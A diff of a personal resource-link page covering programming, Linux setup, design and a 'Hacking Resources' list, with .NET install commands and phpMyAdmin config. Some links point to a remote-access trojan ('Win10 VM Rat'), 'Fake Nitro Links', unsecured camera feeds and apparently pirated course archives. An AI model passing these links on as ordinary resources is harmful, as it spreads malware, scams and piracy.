+                              <a href="/media/pdf/clean-architecture-a-craftsmans-guide-to-software-structure-and-design_compress.pdf">PDF Guide</a><br>
+                              <a href="https://github.com/jasontaylordev/CleanArchitecture">Template 1</a><br>
+                              <a href="https://github.com/ardalis/CleanArchitecture">Template 2</a><br>
+                              <a href="https://github.com/amantinband/clean-architecture">Template 3</a><br>
+                              <a href="https://stackoverflow.com/questions/74781704/how-to-make-nlog-v5-work-with-avalonia-android">StackOverflow w/ NLog</a><br>
+                              <a href="https://www.youtube.com/watch?v=YiVqwoFMieg">Explanation Video</a>
+                            </p>
+                            <p>
+                              <a href="https://tutorials.eu/c-sharp-solution-structure/">Tutorials EU - C# Solution Strucure</a><br>
+                              <a href="https://www.jamesmichaelhickey.com/how-to-structure-your-dot-net-solutions-design-and-trade-offs/">.NET Architecture: How To Structure Your Solutions - Design </a><br>
+                              <a href="https://www.reddit.com/r/csharp/comments/k21qjv/can_anyone_show_me_the_proper_project_structure/?rdt=60419">Redit - Proper project strucure</a><br>
+                            </p>
+                            <p>
+                              <a href="https://gist.github.com/davidfowl/ed7564297c61fe9ab814">David Fowl's Gist</a><br>
+                              <a href="https://www.youtube.com/watch?v=YiVqwoFMieg">Nick Chapsas - How to structure a .NET Solution (project separation &amp; architecture)</a>
+                            </p>
+                            <h4>Installing .NET 8.0 SDK on Ubuntu Server 24.04 LTS</h4>
+<pre><code>wget -O - https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor | sudo tee /etc/apt/keyrings/microsoft.gpg</code></pre>
+                            <p>Create a file -&gt; <pre><code>/etc/apt/sources.list.d/microsoft.sources</code></pre></p>
+                            <p>Paste content (JavaScript):<br>
+<pre>
+<code>
+Types: deb
+URIs: https://packages.microsoft.com/ubuntu/22.04/prod/
+Suites: jammy
+Components: main
+Architectures: amd64
+Signed-By: /etc/apt/keyrings/microsoft.gpg
+</code>
+</pre>
                             <br>
-                            <a href="https://drive.google.com/drive/folders/18-9X13abayITCKmToARWDljynvMzBXob">Fake Nitro Links</a>
-                          </p>
-                          <p>
-                            <a href="https://www.youtube.com/watch?v=MDSscZjzXb4">Much more in this video</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                    </Fragment>
-                  </Accordion>
-                </Fragment>
-              </AccordionItem>
-              <AccordionItem title="YouTube Creators" id="youtubecreators" parent="resourcesAccordion">
-                <Fragment slot="accordion-item-content">
-                  <h4>YouTube Creators</h4>
-                  <p>This section will not be categorized by accordions.</p>
-                  <h5>C#</h5>
-                  <p>
-                    <a href="https://www.youtube.com/@IAmTimCorey">IAmTimCorey</a>
-                    <a href="https://www.youtube.com/@tutorialsEUC">tutorialsEU</a>
+                            Then (Console):<br>
+                            <pre><code>sudo apt update</code></pre>
+                            </p>
+                            <h5>Fixing libicu dependency package issue</h5>
+                            <p>Package is at this date & time not available for Ubuntu 24.04 LTS. Paste content (Console):<br>
+<pre>
+<code>
+echo "deb http://archive.ubuntu.com/ubuntu jammy main" | sudo tee /etc/apt/sources.list.d/libicu-jammy.list<br>
+</code>
+</pre>
+                            <br>
+                            Pinning to lower priority to avoid conflicts with with main 24.04 repositories. Paste content (Console):<br>
+<pre>
+<code>
+sudo tee /etc/apt/preferences.d/libicu &lt;&lt;EOF
+Package: libicu*
+Pin: release n=jammy
+Pin-Priority: 100
+EOF<br>
+</code>
+</pre>
+                            <br>
+                            Update system & install .NET SDK. Paste content (Console):</p>
+<pre>
+<code>
+sudo apt update && sudo apt install dotnet-sdk-8.0
+</code>
+</pre>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Rust Resources" id="rustresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Rust Resources</h4>
+                            <p>
+                              <a href="https://www.rust-lang.org/learn">Learn Rust</a><br>
+                              <a href="https://github.com/rust-lang/miri">Miri</a><br>
+                              <a href="https://blessed.rs/">blessed.rs</a><br>
+                              <a href="https://github.com/ex0dus-0x/awesome-rust-security">Rust Security</a><br>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Other Language Resources" id="otherlanguageresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Web Resources</h4>
+                            <p>
+                              <a href="https://university.webflow.com/">Webflow University</a>
+                              <a href="https://developer.mozilla.org/">MDN Web Docs</a>
+                            </p>
+                            <h4>JavaScript Resources</h4>
+                            <p>
+                              <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">Mozilla JS Tutorials</a><br>
+                              <a href="https://javascript.info/">Modern JavaScript Tutorial</a>
+                            </p>
+                            <h4>TypeScript Resources</h4>
+                            <p>
+                              <a href="https://typehero.dev/explore">Learn TypeScript</a>
+                            </p>
+                            <h4>Lua Resources</h4>
+                            <p>
+                              <a href="https://devhints.io/lua">Lua Cheatsheet</a>
+                            </p>
+                            <h4>Markdown Resources</h4>
+                            <p>
+                              <a href="https://devhints.io/lua">Lua Cheatsheet</a>
+                            </p>
+                            <h4>Other Language Resources</h4>
+                            <p>
+                              <a href="https://university.webflow.com/">Webflow University</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Game Dev Resources" id="gamedevresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Game Dev Resources</h4>
+                            <p>
+                              <a href="https://characterdesignreferences.com/visual-library">Visual Library
+                              <a href="https://www.youtube.com/watch?v=zEfBPmPDUVc">Using AI to Generate Game Assets For Free</a><br>
+                              <a href="https://www.youtube.com/watch?v=UfSw6428bcc">Painterly Animations in Blender 3D</a><br>
+                              <a href="https://github.com/Alex-Toucan/atproducts.xyz/tree/main/public/media/md/bingai.md">Bing AI on: What has to be on a model design sheet, so I can work with it in Blender?</a>
+                            </p>
+                            <h4>Godot Resources</h4>
+                            <p>
+                              <a href="https://docs.godotengine.org/">Godot Docs</a><br>
+                              <a href="https://www.youtube.com/watch?v=WmZq3UgOGKY">Godot UI Setup</a><br>
+                              <a href="https://www.youtube.com/watch?v=rS88FPBtqBk">Godot Toolbox</a><br>
+                            </p>
+                            <h4>Godot Materials</h4>
+                            <p>The full &quot;stack&quot; of components in a 3D project can be visualized as:</p>
+                            <ul>
+                              <li><strong>Model/Mesh:</strong> Structure of the object.</li>
+                              <li><strong>Material/Shader/Texture:</strong> How the object looks and interacts with light.</li>
+                              <li><strong>Rig/Animation:</strong> How the object moves.</li>
+                              <li><strong>Scene/Light/Camera:</strong> How the object is viewed and interacts in the environment.</li>
+                              <li><strong>Physics/Collider:</strong> How the object interacts physically with other objects.</li>
+                              <li><strong>Scripts/Assets/Particles/Sound:</strong> Control behaviors, effects, and environmental immersion.</li>
+                            </ul>
+                            <h4>Godot Scenes</h4>
+                            <p>
+                              <a href="https://www.youtube.com/watch?v=PcAkWClET4U">Mohsen Zare - MTerrain</a><br>
+                              <a href="https://www.youtube.com/watch?v=9olfCkPs1WU">Mohsen Zare - Terrain Approach</a><br>
+                              <a href="https://www.youtube.com/watch?v=MYINKjJV_G0&amp;t=403s">Jen Jell - OWG</a><br>
+                              <a href="https://www.youtube.com/watch?v=rcsIMlet7Fw">Wandering Clipmap with LOD</a><br>
+                              <a href="https://www.youtube.com/watch?v=oV8c9alXVwU&amp;t=551s">Terrain3D</a><br>
+                              <a href="https://www.youtube.com/watch?v=1ho6tbxGt4c&amp;t=28s">Wojtek - Forest Scene</a><br>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Discord Resources" id="discordresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Discord Resources</h4>
+                            <p>
+                              <a href="https://discord.js.org/">Discord.js Website</a><br>
+                              <a href="https://discordjs.guide/">Discord.js Guide</a><br>
+                              <a href="https://discord.com/developers/docs/intro">Discord Developers Portal</a><br>
+                              <a href="https://discord.id/">Discord ID</a><br>
+                              <a href="https://discords.com/emoji-list/">Discord Icons</a>
+                              <a href="https://www.authorityhunter.com/how-to-revive-dead-discord-server/">Discord Server Revival</a><br>
+                              <a href="https://r.3v.fi/discord-timestamps/">Discord Timestamp Creator</a><br>
+                              <a href="https://discordresources.com/">Other Discord Resources</a><br>
+                              <a href="https://www.youtube.com/watch?v=c_arQ-6ElYI">Discord as Storage</a><br>
+                              <a href="https://dev.to/gogamic/how-to-run-discord-bot-24-7-in-ubuntu-3do0">How to run Discord Bots 24/7 w/ Ubuntu</a><br>
+                              <a href="https://discord.gg/QqWuTbEUrD">The Merchant's Shop!</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Linux / Arch Resources" id="linuxarchresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Linux Resources</h4>
+                            <p>
+                              <a href="https://phoenixnap.com/kb/install-ftp-server-on-ubuntu-vsftpd">How to Install FTP Server on Ubuntu with vsftpd</a><br>
+                              <a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-manage-supervisor-on-ubuntu-and-debian-vps">How to install and manage supervisor on Ubuntu and Debian VPS</a><br>
+                              <a href="https://sysprog21.github.io/lkmpg/">Linux Kernel Module Programming Guide</a><br>
+                              <a href="https://www.youtube.com/watch?v=cC1CqyCN9Q0">How to Fit In with Linux Users</a>
+                            </p>
+                            <h4>Arch Resources</h4>
+                            <p>
+                              <a href="https://wiki.archlinux.org/title/Pacman/Tips_and_tricks#Removing_unused_packages_(orphans))">Pacman Tips and Tricks (Arch)</a><br>
+                              <a href="https://averagelinuxuser.com/clean-arch-linux/#1-clean-package-cache">Arch Linux Clean Instructions</a>
+                            </p>
+                            <h4>Astonishing GNOME customization</h4>
+                            <p>
+                              <a href="https://www.youtube.com/watch?v=3XHIV2RF2Yc">Glassmorphism</a>
+                              <br>
+                              <a href="https://www.youtube.com/watch?v=49_ZUgpMMFA">Everforest</a>
+                              <br>
+                              <a href="https://www.youtube.com/watch?v=bDTUbBoIoUQ">Fluent</a>
+                              <br>
+                              <a href="https://www.youtube.com/watch?v=qC0mnGprbeM">Orchis GTK</a>
+                              <br>
+                              <a href="https://www.youtube.com/watch?v=1doqD4t7xVs">Evergreen</a>
+                            </p>
+                            <h4>Apache, MariaDB and PHP (LAMP) Installation for Arch-based Distros</h4>
+                            <p>
+                              <a href="https://forum.manjaro.org/t/howto-install-apache-mariadb-mysql-php-lamp/13000">[HowTo] Install Apache, MariaDB (MySQL), PHP (LAMP)</a>
+                            </p>
+                            <blockquote class="ps-3">
+                              <p>&gt; PS: You must add a <code>phpmyadmin</code> DB and import <code>/usr/share/webapps/phpmyadmin/sql/create_tables.sql</code> there - on Linux. <br> &gt; And also modify / add some lines in your <code>.../phpmyadmin/config.inc.php</code> to tell <code>phpmyadmin</code> to use this DB for it&#39;s configuration storage: </p>
+                            </blockquote>
+                            <h3>Under the <code>phpMyAdmin configuration storage settings</code>-section </h3>
+                            <p>Un-comment all tables matching the pattern below - but check in your DB, if they were created by the <code>create_table.sql</code>. </p>
+<pre>
+<code> 
+// REQUIRED User - uncomment as well!!!
+// Replace &#39;pma&#39; and &#39;pmapass&#39; with the username &amp; password of a MySQL user that contains the appropriate privileges on the phpmyadmin database.
+$cfg[&#39;Servers&#39;][$i][&#39;controluser&#39;] = &#39;pma&#39;; 
+$cfg[&#39;Servers&#39;][$i][&#39;controlpass&#39;] = &#39;pmapass&#39;;
+// Pattern 
+$cfg[&#39;Servers&#39;][$i][&#39;tableName&#39;] = &#39;tableName&#39;; 
+</code>
+</pre>      
+                            <h5>Optional: Create the User</h5>
+<pre>
+<code> 
+CREATE USER 'pma'@'localhost' IDENTIFIED BY'pmapass';
+GRANT SELECT, INSERT, UPDATE, DELETE ON phpmyadmin.* TO 'pma'@'localhost'; 
+FLUSH PRIVILEGES;
+</code>
+</pre>
+                            <p>Problems or using Windows? <br> =&gt; Refer to the Docs: <code>http://yourServerNameOrIPAddr/phpmyadmin/doc/html/setup.html#phpmyadmin-configuration-storage</code>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Mega.nz Resources" id="meganzresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Mega.nz Resources</h4>
+                            <p>
+                              <a href="https://controlc.com/60860490">Udemy Mega.nz 12 Parts Courses Collection</a><br>
+                              <a href="https://controlc.com/1a365e0f">4 TB Mega.nz Courses Collection</a><br>
+                              <a href="https://controlc.com/aedfca1f">14 TB Mega.nz Courses Collection</a><br>
+                              <a href="https://mega.nz/folder/zGJT1QQQ#O-8yiH845GN26ajAvkoLkA">Additional CyberSecurity Files</a><br>
+                              <a href="https://mega.nz/folder/dLIWkbCB#0MH4CBGlj0JUA6n00EbpDg">150 Interview Problems (AlgoExpert Course 1)</a><br>
+                              <a href="https://mega.nz/folder/oWAwAR5Y#WsyNfvNK_SkoFXS4WJKcTA">Systems Design Fundamentals (AlgoExpert Course 2)</a><br>
+                              <a href="https://mega.nz/folder/RGBgHJIS#qOsdOXynX41S5TFOP0PqHg">Data Structures Crash Course (AlgoExpert Course 3)</a><br>
+                              <a href="https://mega.nz/folder/5bQAFTCZ#q3HkgHHDSjPk_q0Uq0QQ4w">Become an Algorithms Expert (AlgoExpert Course 4)</a><br>
+                              <a href="https://mega.nz/folder/YXIC2DqA#_A9kVgMPzl652Qfqi9lhlA">Interview Preparation Course (Part 1) (AlgoExpert Course 5)</a><br>
+                              <a href="https://mega.nz/folder/JeZ2RTTI#s4jjLfA1ef27bIQH_1ei3Q">Interview Preparation Course (Part 2) (AlgoExpert Course 6)</a><br>
+                              <a href="https://mega.nz/folder/UGRQnTaI#L6B62U_3jUOuRkCEH4DZvw">Interview Tips (AlgoExpert Course 7)</a><br>
+                            </p>
+                            <p>
+                              <a href="https://mega.nz/folder/dbwmwS6b#p9nGMhSXETZBAEYGoKty8Q">Code With Mosh</a> (Code: p9nGMhSXETZBAEYGoKty8Q)
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="All Guides VenenJean used to Install VirtualBox under Manjaro" id="vbmanjaro" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>All Guides VenenJean used to Install VisualBox under Manjaro</h4>
+                            <p>
+                              <a href="https://wiki.manjaro.org/index.php/VirtualBox#Configuring_the_host">Guide 1 (Manjaro Wiki)</a><br>
+                              <a href="https://hibbard.eu/install-ubuntu-virtual-box">Guide 2 (Hibbard)</a><br>
+                              <a href="https://www.cherryservers.com/blog/how-to-install-and-start-using-mariadb-on-ubuntu-20-04">Guide 3 (CherryServers)</a><br>
+                              <a href="https://www.ibm.com/docs/en/spectrum-lsf-rtm/10.2.0?topic=ssl-configuring-default-root-password-mysqlmariadb">Guide 4 (IBM)</a><br>
+                              <a href="https://linuxiac.com/how-to-install-virtualbox-on-manjaro-linux/">Guide 5 (LinuxIAC)</a><br>
+                              <a href="https://mariadb.org/download/?t=repo-config&d=22.04+%22jammy%22&v=11.1&r_m=23Media">Guide 6 (MariaDB)</a><br>
+                              <a href="https://phoenixnap.com/kb/ssh-with-key">SSH Public Key Connection Setup</a><br>
+                              <a href="https://wiki.manjaro.org/">Manjaro Wiki</a>
+                            <p>
+                              <a href="https://www.youtube.com/watch?v=V2N1nrULjcY">Fixing VBox Users: The Screen Scaling Problem</a>
+                            </p>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                      </Fragment>
+                    </Accordion>
+                  </Fragment>
+                </AccordionItem>
+                <AccordionItem title="Other Resources" id="otherresources" parent="resourcesAccordion">
+                  <Fragment slot="accordion-item-content">
+                    <h3>Other Resources</h3>
+                    <p>
+                      <a href="https://www.datensen.com/blog/">Data Management Blog</a><br>
+                      <a href="https://phish.report">Report Phishing</a><br>
+                      <a href="https://codebeautify.org/">CodeBeautify</a><br>
+                      <a href="https://www.sonarsource.com/products/sonarlint/features/visual-studio/">SonarLint</a><br>
+                      <a href="https://www.freesoff.com/">FreeSoff (Free Software)</a><br>
+                      <a href="https://www.wolframalpha.com">Math, Science, Tech, Culture, and Life API</a><br>
+                      <a href="https://tinywow.com">Free AI Writing, PDF, Image, and Other Online Tools</a><br>
+                      <a href="https://www.opensourcealternative.to">Open Source Alternatives</a><br>
+                      <a href="https://www.jotform.com">Free Letter Forms</a><br>
+                      <a href="https://www.nirsoft.net/panel/">NirSoft</a><br>
+                      <a href="https://www.commontools.org/">Commontools.org</a><br>
+                      <a href="https://pmichaels.net/2021/08/29/compiling-code-files-in-c-using-roslyn/">CS2DLL</a><br>
+                      <a href="https://app.eraser.io/">Eraser (Planning)</a><br>
+                      <a href="https://github.com/bytemate/chatapi-single">ChatGPT-API-Server</a><br>
+                      <a href="https://fathy.fr/carbonyl">Chrome Render to Terminal</a><br>
+                      <a href="https://dontasktoask.com/">Don't ask to ask, just ask</a><br>
+                      <a href="https://insights.stackoverflow.com/survey/">StackOverflow Yearly Surveys</a><br>
+                      <a href="https://survey.devographics.com/en-US">State of Language Survey</a><br>
+                    </p>
+                    <Accordion parent="otherresourcesAccordion">
+                      <Fragment slot="accordion-content">
+                        <AccordionItem title="Designer Resources" id="designerresources" parent="otherresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Designer Resources</h4>
+                            <p>
+                              <a href="https://figma.com">Figma</a><br>
+                              <a href="https://www.youtube.com/watch?v=HMntFTgy8Is">Simple Table in Figma</a><br>
+                              <a href="https://www.youtube.com/watch?v=IHy57Lrzkb4">The Pro Tutorials you've never seen if you use Blender</a><br>     
+                              <a href="https://www.blenderkit.com/">Materials for Blender</a><br>
+                              <a href="https://namelix.com/">Business Name Generator</a><br>
+                              <a href="https://app.brandmark.io/v3/">BrandMark.Io</a><br>
+                              <a href="https://www.canva.com/colors/color-wheel/">Canva Color Wheel</a><br>
+                              <a href="https://www.spycolor.com/">SpyColor</a><br>
+                              <a href="https://coolbackgrounds.io/">CoolBackgrounds</a><br>
+                              <a href="https://uigradients.com/">UIgradients</a><br>
+                              <a href="https://cssgradient.io/">CSS Gradients</a><br>
+                              <a href="https://www.svgbackgrounds.com/">SVG Gradients</a><br>
+                              <a href="https://iconscout.com/">Iconscout</a><br>
+                              <a href="https://www.ilovepdf.com/">ILovePDF</a><br>
+                              <a href="https://jpg2png.com/">JPG2PNG</a><br>
+                              <a href="https://png2pdf.com/">PNG2PDF</a><br>
+                              <a href="https://pdf2png.com/">PDF2PNG</a><br>
+                              <a href="https://www.zamzar.com/convert/xlsx-to-pdf/">XLSX2PDF</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Git Resources" id="gitresources" parent="otherresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Git Resources</h4>
+                            <p>
+                              <a href="https://git-scm.com/">Git</a><br>
+                              <a href="https://github.com/">GitHub</a><br>
+                              <a href="https://youtube.com/shorts/y7fwyTh0F7Y?si=1YktIy5eP2h4vF1k">GitHub in VSCode</a><br>
+                              <a href="https://gitlab.com/">GitLab</a><br>
+                              <a href="https://www.gitkraken.com/">GitKraken</a><br>
+                              <a href="https://bitbucket.org/">BitBucket</a><br>
+                              <a href="https://youtu.be/RxHJdapz2p0?si=H3teosorRjwVNE7P">How Git Actually Works</a><br>
+                              <a href="https://gitmoji.dev">GitMoji</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Web Resources" id="webresources" parent="otherresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Web Resources</h4>
+                            <p>
+                              <a href="http://www.denic.de/en/domains/whois-service/web-whois.html">WHOIS Lookup</a><br>
+                              <a href="https://www.immuniweb.com/websec/">Web Security Testing</a><br>
+                              <a href="https://css-tricks.com/probably-dont-base64-svg/">CSS Data URI</a><br>
+                              <a href="https://www.urldecoder.io/">URL Decoder</a><br>
+                              <a href="https://loremipsum.io/">Lorem Ipsum Generator</a><br>
+                              <a href="https://astro.build/">Astro</a><br>
+                              <a href="https://getbootstrap.com">Bootstrap</a><br>
+                              <a href="https://tailwindcss.com/">Tailwind.css</a><br>
+                              <a href="https://jquery.com/">JQuery JS</a><br>
+                              <a href="http://vanilla-js.com/">Vanilla-JS Framework</a><br>
+                              <a href="https://bulma.io/">Bulma CSS Framework</a><br>
+                              <a href="https://addr.tools/">Internet Tools</a><br>
+                              <a href="https://www.netlify.com/">Netlify</a><br>
+                              <a href="https://vercel.com/">Vercel</a><br>
+                              <a href="https://www.webbyawards.com/">Webby Awards</a><br>
+                              <a href="https://pagespeed.web.dev/">PageSpeed Insights</a><br>
+                              <a href="https://www.webbyawards.com/">Webby Awards</a><br>
+                              <a href="https://axiom.ai">No Code Browser Automation</a><br>
+                              <a href="https://www.youtube.com/watch?v=9ElrcTtAxzA">The Secret Science of Perfect Spacing Part 1</a><br>
+                              <a href="https://www.youtube.com/watch?v=r1DANFZYJDw">The Secret Science of Perfect Spacing Part 2</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Code Editors" id="codeeditors" parent="otherresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Code Editors</h4>
+                            <p>
+                              <a href="https://atom.io">Atom</a><br>
+                              <a href="https://code.visualstudio.com/download">Visual Studio Code (VSCode)</a>
+                              <a href="https://youtube.com/shorts/y7fwyTh0F7Y?si=1YktIy5eP2h4vF1k">GitHub in VSCode</a><br>
+                              <a href="https://www.sublimetext.com/download">Sublime Text</a><br>
+                              <a href="https://github.com/WerWolv/ImHex">Hex Editor (ImHex)</a><br>
+                              <a href="https://www.vim.org/download.php">Vim</a><br>
+                              <a href="https://www.jetbrains.com/pycharm/">Pycharm (Python IDE)</a><br>
+                              <a href="https://www.eclipse.org/downloads/">Eclipse (Java IDE)</a><br>
+                              <a href="https://www.jetbrains.com/idea/download/">Intellij (Java IDE)</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Fonts" id="fontsitem" parent="otherresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Fonts</h4>
+                            <p>
+                              <a href="https://gwfh.mranftl.com/fonts">Google WebFonts Helper</a><br>
+                              <a href="https://www.cufonfonts.com/font/segoe-ui-4">Segoe UI</a><br>
+                              <a href="https://www.cufonfonts.com/font/force-commander">Force Commander</a><br>
+                              <a href="https://www.cufonfonts.com/search/Oswald">Oswald</a><br>
+                              <a href="https://fonts.google.com/specimen/Oswald">Oswald from Google</a><br>
+                              <a href="https://www.cufonfonts.com/search/kanit">Kanit</a><br>
+                              <a href="https://fonts.google.com/specimen/Kanit">Kanit from Google</a><br>
+                              <a href="https://zyro.com/blog/clean-fonts/">More Clean Fonts</a><br>
+                              <a href="https://typographyhandbook.com/#introduction">Typography Handbook</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Discord Glitches" id="discordgitches" parent="otherresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Discord Glitches</h4>
+                            <p>
+                              <a href="https://github.com/PanIntegralus/discord.webm-compilation">Glitched WEBMs</a>
+                              <br>
+                              <a href="https://gist.github.com/ghostrider-05/8f1a0bfc27c7c4509b4ea4e8ce718af0">Discord Link Protocols</a>
+                              <br>
+                              <a href="https://drive.google.com/drive/folders/18-9X13abayITCKmToARWDljynvMzBXob">Fake Nitro Links</a>
+                            </p>
+                            <p>
+                              <a href="https://www.youtube.com/watch?v=MDSscZjzXb4">Much more in this video</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                      </Fragment>
+                    </Accordion>
+                  </Fragment>
+                </AccordionItem>
+                <AccordionItem title="YouTube Creators" id="youtubecreators" parent="resourcesAccordion">
+                  <Fragment slot="accordion-item-content">
+                    <h3>YouTube Creators</h3>
+                    <p>This section will not be categorized by accordions.</p>
+                    <h4>C#</h4>
+                    <p>
+                      <a href="https://www.youtube.com/@IAmTimCorey">IAmTimCorey</a><br>
+                      <a href="https://www.youtube.com/@tutorialsEUC">tutorialsEU</a>
+                    </p>
+                    <h4>JavaScript</h4>
+                    <p>
+                      <a href="https://www.youtube.com/@ColorCodeio">ColorCode</a>
+                    </p>
+                    <h4>General</h4>
+                    <p>
+                      <a href="https://www.youtube.com/@Cleancoders/videos">Clean Coders</a><br>
+                      <a href="https://www.youtube.com/@Coderized">Coderized</a><br>
+                      <a href="https://www.youtube.com/@wndtn/videos">Winderton</a><br>
+                      <a href="https://www.youtube.com/@CodeAesthetic">CodeAesthetic</a><br>
+                      <a href="https://www.youtube.com/@StudyingWithAlex">Studying with Alex</a><br>
+                      <a href="https://www.youtube.com/watch?v=NuyzuNBFWxQ">Fireship</a>
+                    </p>
+                    <h4>Computer Science</h4>
+                    <p>
+                      <a href="https://www.youtube.com/cs50">CS50 | Harvard University</a><br>
+                      <a href="https://www.youtube.com/channel/UC1szFCBUWXY3ESff8dJjjzw">Loi Liang Yang</a>
+                    </p>
+                    <h4>Web Development</h4>
+                    <p>
+                      <a href="https://www.youtube.com/@KevinPowell">Kevin Powell <a href="https://www.youtube.com/@WebDevSimplified">Web Dev Simplified</a><br>
+                      <a href="https://www.youtube.com/@thewebsitearchitect">The Website Architect</a><br>
+                      <a href="https://www.youtube.com/@javascriptmastery">Javascript Mastery - YT</a><br>
+                      <a href="https://www.jsmastery.pro/">Javascript Mastery - Website</a>
+                    </p>
+                    <h4>Networks/Cybersecurity</h4>
+                    <p>
+                      <a href="https://www.youtube.com/@NetworkChuck">NetworkChuck</a>
+                    </p>
+                    <h4>Indie App Development</h4>
+                    <p>
+                      <a href="https://www.youtube.com/@craftzdog">Takuya Matsuyama</a><br>
+                      <a href="https://www.youtube.com/@devaslife">DevAsLife</a>
+                    </p>
+                    <h4>NeoVim Usage</h4>
+                    <p>
+                      <a href="https://www.devas.life/effective-neovim-setup-for-web-development-towards-2024/">Takuya Matsuyama</a>
+                    </p>
+                  </Fragment>
+                </AccordionItem>
+                <AccordionItem title="Hacking Resources" id="hackingresources" parent="resourcesAccordion">
+                  <Fragment slot="accordion-item-content">
+                    <h3>Hacking Resources</h3>
+                    <p>
+                      <a href="https://www.youtube.com/watch?v=mPVG3tXjMgI">Making the Hacker Mindset</a><br>
+                      <a href="https://hackingthe.cloud">Hacking The Cloud</a><br>
+                      <a href="https://hacktricks.xyz">HackTricks</a><br>
+                      <a href="https://trickest.com/">Trickest</a><br>
+                      <a href="https://www.hackthebox.com/">HackTheBox</a><br>
+                      <a href="http://picoctf.com">CTF Hacking for Beginners</a><br>
+                      <a href="http://www.liveoverflow.com">LiveOverflow</a><br>
+                      <a href="https://malapi.io">Malapi</a><br>
+                      <a href="https://unprotect.it">Unprotect Project</a><br>
+                      <a href="https://0dayfans.com/">0DayFans</a><br>
+                      <a href="/media/files/MOOCs_Courses_Download_Access_To_500_Courses.txt">MOOC Courses</a><br>
+                      <a href="https://cheat.sh">Cheat.sh Repos</a><br>
+                      <a href="https://thehackerdev.com/windows-api-function-naming-convention">Windows API Function Naming Convention</a><br>
+                      <a href="https://www.youtube.com/watch?v=5g137gsB9Wk">File Path Race Condition & How To Prevent It - bin 0x31 (LiveOverflow)</a><br>
+                      <a href="http://www.insecam.org">InSeCam</a><br>
+                      <a href="https://tools.intigriti.io/redirector/">Open Redirector/SSRF Payload Generator</a><br>
+                      <a href="https://uops.info/table.html">CPU/IP Table</a><br>
+                      <a href="https://journal.opendataplayground.com/cyberhack-2023/">CyberHack 2023</a><br>
+                      <a href="https://gtfobins.github.io/">List of UNIX Binaries for Priv Escalation</a><br>
+                      <a href="https://pwk.hide01.ir/">Linux & Bash Hacking</a><br>
+                      <a href="https://gchq.github.io/CyberChef/">CyberChef</a><br>
+                      <a href="https://app.any.run/">Hacking Stats</a><br>
+                      <a href="https://pastebin.com">PasteBin</a><br>
+                      <a href="https://pastebin.com/pApryWbx">Hijack URLS</a><br>
+                      <a href="https://spidersuite.github.io">Developing CyberSecurity Solutions</a><br>
+                      <a href="https://zer1t0.gitlab.io/posts/attacking_ad/">Attacking Ad</a><br>
+                      <a href="https://cyber.bgu.ac.il/new-malware-jumps-air-gapped-devices-by-turning-power-supplies-into-speakers/">Power Supplies to Speakers</a><br>
+                      <a href="https://cyber.bgu.ac.il/advanced-cyber/airgap">AirGap</a><br>
+                      <a href="https://fccid.io/">FCC ID Database</a><br>
+                      <a href="https://sploitus.com">Sploitus</a><br>
+                      <a href="https://reddit.com/r/netsec">r/netsec</a><br>
+                      <a href="https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list">OSINT start.me 1</a><br>
+                      <a href="https://start.me/p/L1rEYQ/osint4all">OSINT start.me 2</a><br>
+                      <a href="https://youtu.be/S9JGmA5_unY">How Secure is 256-bit Security?</a><br>
+                      <a href="https://youtu.be/nFZm4sVsPXk?si=7J_GzfZe-UOqic4b">TailOS Setup</a><br>
+                      <a href="https://youtu.be/PbVaagSWzgM">Hijacking account with Open Redirect in OAuth 2.0 - Stealing Access Tokens</a><br>
+                      <a href="https://youtu.be/09hrHtBLVeA">Discovering API and Analyzing Endpoints Using Postman and Browser w/ crAPI</a><br>
+                      <a href="https://youtu.be/Op6QvVMj4fw">Exploiting SQL Injection in GraphQL</a><br>
+                      <a href="https://www.youtube.com/watch?v=JbEPJv7Ybcs">Learn before CyberSecurity</a><br>
+                      <a href="https://www.youtube.com/watch?v=Mt4PYoyiqB0">Tips before CyberSecurity</a><br>
+                      <a href="https://youtu.be/In-XF5sY1Yo">Graphql Endpoint Analysis</a><br>
+                      <a href="https://youtube.com/playlist?list=PL4wZd4YK_64FeEvmdSkORNRLrgS5DavgT">WireShark Videos</a><br>
+                      <a href="https://anonfiles.com/eby53a7by7/Dhop.py">Win10 VM Rat</a><br>
